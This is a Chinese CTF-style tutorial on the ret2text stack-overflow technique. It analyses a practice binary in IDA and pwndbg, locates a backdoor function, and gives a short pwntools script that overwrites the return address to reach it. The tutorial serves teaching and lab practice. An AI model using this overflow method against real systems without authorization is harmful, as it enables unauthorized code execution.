ret2text利用前提

存在后门函数
检查安全:

checksec ret2text

pwn ret2text_下载地址

查看文件信息

file

pwn ret2text_下载地址_02

测试文件下载地址: 首先把ret2text用IDA打开:

pwn ret2text_反汇编_03


64位ELF文件。

pwn ret2text_f5_04


进入main函数,F5反编译,双击vulnerable函数,进入:

pwn ret2text_f5_05


发现溢出点。

搜索shell函数:

pwn ret2text_下载地址_06


pwn ret2text_f5_07


pwn ret2text_f5_08

函数窗口列表,查看success,发现shell:

pwn ret2text_f5_09


进入IDA普通视图,双击左侧success函数,查看success地址,是​​400566​​。

pwn ret2text_下载地址_10

exp

写pwn exp.py:

from pwn import *

sh = process("./ret2text")
# 0x10是栈的高度,0x8是ebp的长度64bit,0x400566是后门success函数地址
payload = b"a"*0x10 + b"b"*0x8 + p64(0x400566)

sh.sendline(payload)

sh.interactive()

运行结果:

pwn ret2text_反汇编_11

使用pwndbg调试查看偏移

pwndbg常见用法:
pwngdb 文件名 : 调式文件
r 运行
disass 函数名 :查看函数的反汇编代码
b 函数名/*地址:下断点(地址前面要加**号)
i (空格)b :查看断点
d(空格) 断点编号 :删除断点
cyclic 200,生产200个字符
cyclic -l 前4个字符,查看长度

生成200个字符,并运行r输入200个字符,导致程序崩溃:

pwn ret2text_反汇编_12


pwn ret2text_反汇编_13


查看到BP/EBP/RBP偏移:

cyclic -l eaaa

pwn ret2text_f5_14


RIP是64位,8个字节大小。

所以离EIP/RIP的距离是16+8=24字节。

原理

pwn ret2text_f5_15